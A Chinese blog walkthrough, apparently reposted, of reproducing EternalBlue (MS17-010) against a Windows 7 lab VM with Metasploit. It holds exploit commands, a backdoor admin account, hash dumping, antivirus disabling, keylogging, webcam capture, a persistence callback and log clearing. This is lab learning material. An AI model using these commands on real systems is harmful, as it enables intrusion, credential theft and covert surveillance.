永恒之蓝(Eternal Blue)复现

article/2025/8/21 10:13:42

永恒之蓝介绍

什么是永恒之蓝

  • 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

这里说到了SMB,那么SMB协议又是什么呢?

  • SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

一、复现环境

攻击机信息
kali
ip:192.168.1.30

靶机信息
Windows 7 and Server 2008 R2 (x64)
ip:192.168.1.33

复现过程

靶机设置

  1. 靶机设置,win7虚拟机网络模式设置为桥接模式

总的来说

  • 桥接 通过使用物理机网卡 具有单独ip
  • NAT 把物理机为路由器进行上网
    在这里插入图片描述
  1. 靶机网络设置专用网络和公共网络都可以,在专用网络情况下,不关闭防火墙也可以进行渗透,公共网络下必须关闭防火墙,建议关闭防火墙,可以提高实验成功率
  2. 确认靶机IP地址,在主机端使用ping命令测试是否可以连通
  • ping 192.168.1.33
    在这里插入图片描述

一、主机扫描

  • 使用nmap进行ip端口扫描
    在这里插入图片描述
  • win7的455端口默认开启,永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞

二、进入MSF(Metasploit)框架

Metasploit框架(简称MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编 写的模板化框架,具有很好的扩展性,便于渗透测试人员开发,使用定制的工具模板。

该工具有六个模块,分别为辅助模块(auxiliary)、渗透攻击模块
(exploits)、后渗透攻击模块(post)、攻击载荷模块(payloads)、空指令模
块(nops)、编码器模块(encoders),其中msf为总模块,其他均为分支模
块。
输入:msfconsole
在这里插入图片描述

三、利用msf的辅助模块(auxiliary)进行漏洞验证

search ms17-010
在这里插入图片描述

  • 其中的两个模块
    1. auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞
    1. exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击

四、验证漏洞是否存在

  • 这里我们可以使用auxiliary/scanner/smb/smb_ms17_010进行验证是否存在永恒之蓝漏洞
  • 使用ms17-010模块

该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试

  • use auxiliary/scanner/smb/smb_ms17_010或使用use 4

命令:

msf6 > use 4	//或 use auxiliary/scanner/smb/smb_ms17_010	//验证漏洞
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.1.33 //设置靶机IP
rhost => 192.168.1.33
msf6 auxiliary(scanner/smb/smb_ms17_010) > run		//执行

扫描结果
在这里插入图片描述

  • Host is likely VULNERABLE to MS17-010! 表明存在且可以利用

五、使用ms17_010_eternalblue模块开始攻击

在这里插入图片描述

msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0 	////use exploit/windows/smb/ms17_010_eternalblue  效果一样
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp	////表示默认攻击载荷为 exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads	////该命令可以查看当前漏洞利用模块下可用的所有PayloadCompatible Payloads
===================#   Name                                                Disclosure Date  Rank    Check  Description-   ----                                                ---------------  ----    -----  -----------0   payload/generic/custom                                               normal  No     Custom Payload1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline3   payload/windows/x64/exec                                             normal  No     Windows x64 中间略去56  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

show payloads查看攻击载荷

  • 攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令

六、设置靶机IP和payload(攻击载荷)

攻击载荷的选择不唯一,这里使用31
payload/windows/x64/powershell_bind_tcp
在这里插入图片描述

  • 如果出现报错:

Exploit completed, but no session was created,建议切换不同的payload尝试

命令

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.1.33		//设置目标攻击ip(如果有多个攻击目标ip间直接用空格隔)开就行
rhost => 192.168.1.33
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 31       //设置攻击载荷
payload => windows/x64/powershell_bind_tcp

七、配置信息

查看其他可设置选项,yes为必须设置

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

在这里插入图片描述

可以发现target没有设置,target可以使用默认设置0 Automatic Target,为了提高成功率也可以指定,LPORT为反弹shell的监听端口,可以自行设定,本次我设置为10243

查看可用的全部类型target

msf6 exploit(windows/smb/ms17_010_eternalblue) > show targetsExploit targets:Id  Name--  ----0   Windows 7 and Server 2008 R2 (x64) All Service Packs

执行攻击

msf6 exploit(windows/smb/ms17_010_eternalblue) > set target 0
target => 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 10243		/设置用于接收从目标机弹回来的shell
lport => 10243
msf6 exploit(windows/smb/ms17_010_eternalblue) > run		//执行攻击 exploit(run)
  • 得到权限
    在这里插入图片描述

换另一种payload

  • 使用exit推出win的shell
    在这里插入图片描述
  • 设置payload:
  • set payload windows/x64/meterpreter/reverse_tcp
    在这里插入图片描述
  1. 显示远程主机系统信息:sysinfo
    在这里插入图片描述
  2. 查看用户身份:getuid

在这里插入图片描述
3. 对远程主机当前屏幕进行截图:screenshot
在这里插入图片描述

  • 截图在kali主目录中查看
    在这里插入图片描述
  1. 我们输入:shell即可切换到目标主机的windows shell
    在这里插入图片描述
  2. 进行后门植入(创建新的管理员账户)
    net user hack 123456 /add //在windows 7上创建一个hack的用户,以便下次访问
    在这里插入图片描述

net localgroup administrators hack /add //将hack加入到windows 7的本地管理员组中,以便获得更大权限
在这里插入图片描述
net user //查看windows 7本地用户
在这里插入图片描述
net localgroup administrators //查看windows 7本地管理员
在这里插入图片描述

可以看到hack用户已经添加到windows 7 的管理员组中

深入利用

  • 要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
    在这里插入图片描述
  • 要想从meterpreter退出到MSF框架,输入:background
    在这里插入图片描述
  • 输入 sessions -l 查看我们获得的shell
    在这里插入图片描述

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作

sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
run hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27        #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev           

操作复现

  • 输入 sessions -i 4 即可切换到id为4的shell
    在这里插入图片描述

  • run hashdump #导出密码的哈希

  • 感觉这个有点猛呀:(还能列出当前win7用户的账号和密码,怪我太菜了,这都要惊奇一下哈哈🙀)

在这里插入图片描述

  • 查看目标主机是否运行在虚拟机上
    meterpreter > run post/windows/gather/checkvm
    在这里插入图片描述
  • 关闭杀毒软件

拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:
run killav
在这里插入图片描述

  • 获取用户密
  • 执行 :run hashdump

hashdump 模块可以从SAM数据库中导出本地用户账号, 该命令的使用需要系统权限
在这里插入图片描述

  • 我们来破解刚刚设置的hack的用户密码,可以复制 NTLM哈希去在线网站如CMD5破解
    在这里插入图片描述

  • 成功破解

  • 运行程序

  • 查看目标主机安装了哪些应用
    run post/windows/gather/enum_applications
    在这里插入图片描述

  • 可以使用 execute 命令在目标系统中执行程序。使用方法如下:

  • execute 参数 -f 可执行文件

可选参数:

-f:指定可执行文件-H:创建一个隐藏进程-a:传递给命令的参数-i:  跟进程进行交互-m:从内存中执行-t: 使用当前伪造的线程令牌运行进程-s: 在给定会话中执行进程

在这里插入图片描述

  • 运行成功

下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作

远程桌面没有尝试,这个方法先记录着,以后学习

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash
  • 至此,永恒之蓝复现完毕
  • 学到了很多,加油,师傅们~

参考

永恒之蓝漏洞复现(ms17-010)
内网渗透—MS17-010复现
永恒之蓝漏洞利用及攻击


http://chatgpt.dhexx.cn/article/BShO3xGT.shtml

相关文章

kali与永恒之蓝

kali永恒之蓝攻击 写在前面一、永恒之蓝是何方神圣?二、神马是SMB协议?三、MSF四、攻击步骤1、攻击主机与靶机配置2、攻击步骤 五、种植后门 写在前面 这是我的第一篇CSDN博客,最近又参加了一个CTF比赛,当然,纯属兴趣爱…

利用虚拟机复现漏洞 “永恒之蓝”

利用虚拟机复现漏洞“永恒之蓝” 攻击:kali Linux 2020.3 靶机:Windows Server 2008 R2 x64 下面详细讲述测试的过程。 —— —— “ 永恒之蓝 ”简介 利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。于 2017 年在全球的范围内大面积爆发&#…

永恒之蓝简介

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改…

永恒之蓝-永恒之蓝漏洞(linux)

扫描存活主机 fping -a -g 192.168.52.1 192.168.56.254 ,因为kali是192.168.52.134,所以win2003是192.168.52.133 像192.168.52.2或者192.168.52.1这种不用管,一般是网关 开启msfconsole 搜索载荷,永恒之蓝的载荷是ms17_010 …

永恒之蓝漏洞复现

一,永恒之蓝 一、漏洞简介\n1、永恒之蓝介绍:\n永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用NSA(National Security Agency,美国国家安全局&#xff09…

永恒之蓝靶场

声明:本文仅限交流学习使用,请勿使用在任何非法商业活动,禁止用于非法用途。否则后果自负。如有侵权,请告知删除,谢谢! 在虚拟机上搭建win7环境(靶机) 攻击者kali2021版: 模拟永恒之蓝攻击过程的话,需要win7(靶机&…

永恒之蓝复现

目录 1.知识点: 2.前提准备 3.复现 1.知识点: (永恒之蓝适应低版本的电脑没有打ms17_010的补丁,现在win7以上的高版本已经不可以使用) 百度百科:永恒之蓝是指2017年4月14日晚,黑客团体Shadow…

永恒之蓝MS17-010漏洞复现

永恒之蓝漏洞复现 永恒之蓝漏洞简介准备工作命令功能查询靶机IP地址Nmap工具Msf框架相关搜索指令如下设置扫描对象扫描对方是否存在445端口开始攻击 设置攻击载荷设置攻击机及靶机攻击成功简单演示攻击结束 永恒之蓝漏洞简介 本次漏洞复现主要展示如何复现一次永恒之蓝漏洞攻击…

kali之永恒之蓝使用流程(操作全套步骤)

第一步需要kali系统的电脑和win7系统电脑的ip的地址在同一网段,互相之间可以ping通。 第二步关闭win7系统的防火墙。 往往失败就是这两部分的错误。 下边开始进入正题。 打开我们的kali系统,永恒之蓝控制版面开启指令 :msfconsole 小马图…

网络攻防——永恒之蓝

永恒之蓝 1.引言2.永恒之蓝定义3.SMB协议3.windows7版本说明4.攻击实例4.1攻击者和被攻击者展示4.2详细攻击过程4.3接下来尝试攻击一下windows10 5.参考文献 1.引言 让一个不爱学习的人整天蒙英语题,听张宇的视频实在是枯燥了点,于是决定看看网安&#x…

Kali--MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复)

目录 一、永恒之蓝概述 二、SMB协议 三、准备工作 四、漏洞复现 1、主机发现 2、端口扫描 3、利用模块 五、演示功能 1.获取cmd 2.捕获屏幕 3.上传文件 4.下载文件 5.远程登录 6.上传后门 7.免杀加壳 8.运行wannacry 9.清除日志 六、预防方案 1.打开防火墙 …

ajax提交form表单+跨域

有时候我们需要提交form表单&#xff0c;而又不想影响跳转页面&#xff0c;同时还不影响浏览器的 正常访问&#xff0c;这个时候就用到了ajax提交 首先&#xff0c;要引入js文件 <script type"text/javascript" src"${ctx}/newoa/js/jquery.form.js"…

使用原生javascript实现ajax提交form表单

使用原生javascript实现ajax提交form表单 ============================ 1 准备表单 首先我们需要编写一个html代码,这里我是采用nodejs里面的jade模板引擎来进行生成html代码的。 form(action="/ajaxTest2",method="post",enctype="text/…

Jquery Ajax提交form表单

ajax技术带给我们的是良好的用户体验,同时,使用jquery可以简化开发,提高工作效率。 献上一个简单的例子: 前台代码: index.aspx <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="index.aspx.cs" Inherits="AjaxDemo…

客户端调用服务端异常 —— 远程主机强迫关闭了一个现有的连接**(问题已解决)

客户端调用服务端异常 —— 远程主机强迫关闭了一个现有的连接&#xff08;问题已解决&#xff09; 今天跟大家分享一个日常出现的问题&#xff0c;今天前段调用的时候突然出现了远程主机强迫关闭了一个现有的连接的问题&#xff0c;先看问题图。 然后开始排查原因&#xff0…

频繁发送socket命令返回:[WinError 10054] 远程主机强迫关闭了一个现有的连接

第一类 错误原因&#xff1a;发送http请求太过频繁&#xff0c;引起远程主机的怀疑&#xff0c;被网站怀疑是恶意攻击行为。 解决方法&#xff1a; 在发送命令之后关闭连接&#xff0c;防止被认为恶意连接设置socket默认等待时间 设置读取信息的最大时间限制&#xff0c;如果…

关于Redis出现“java.io.IOException: 远程主机强迫关闭了一个现有的连接”的一次排查

背景 最近在使用springboot&#xff08;Windows下&#xff09;连接redis&#xff08;云服务器&#xff09;开发时发现一些问题&#xff1a;连接成功的情况下&#xff0c;在一段时间未交互数据后&#xff0c;再次通过连接与Redis传输数据回出现异常java.io.IOException: 远程主…

远程主机强迫关闭了一个现有的连接.

报错信息&#xff1a; 解决方法&#xff1a; 1.在命令行中查找占用“5037”端口的程序PID netstat -aon|findstr “5037”2. 打开任务管理器&#xff0c;找到相应的PID【15692】&#xff0c;将占用的端口关闭。 3. 发现adb.exe与Android Studio.exe共用同一个端口 adb.exe——…

xdm,请求帮助

这个怎么搞&#xff0c;xdm

Ubuntu 安装 XDM 2018 ( Xtreme Download Manager 2018 )

Xtreme下载管理器是一个功能强大的工具&#xff0c;可以将下载速度提高到500&#xff05;&#xff0c;保存来自YouTube&#xff0c;DailyMotion&#xff0c;Facebook&#xff0c;Vimeo&#xff0c;Google Video和1000多个其他网站的流媒体视频&#xff0c;恢复损坏/死亡下载&am…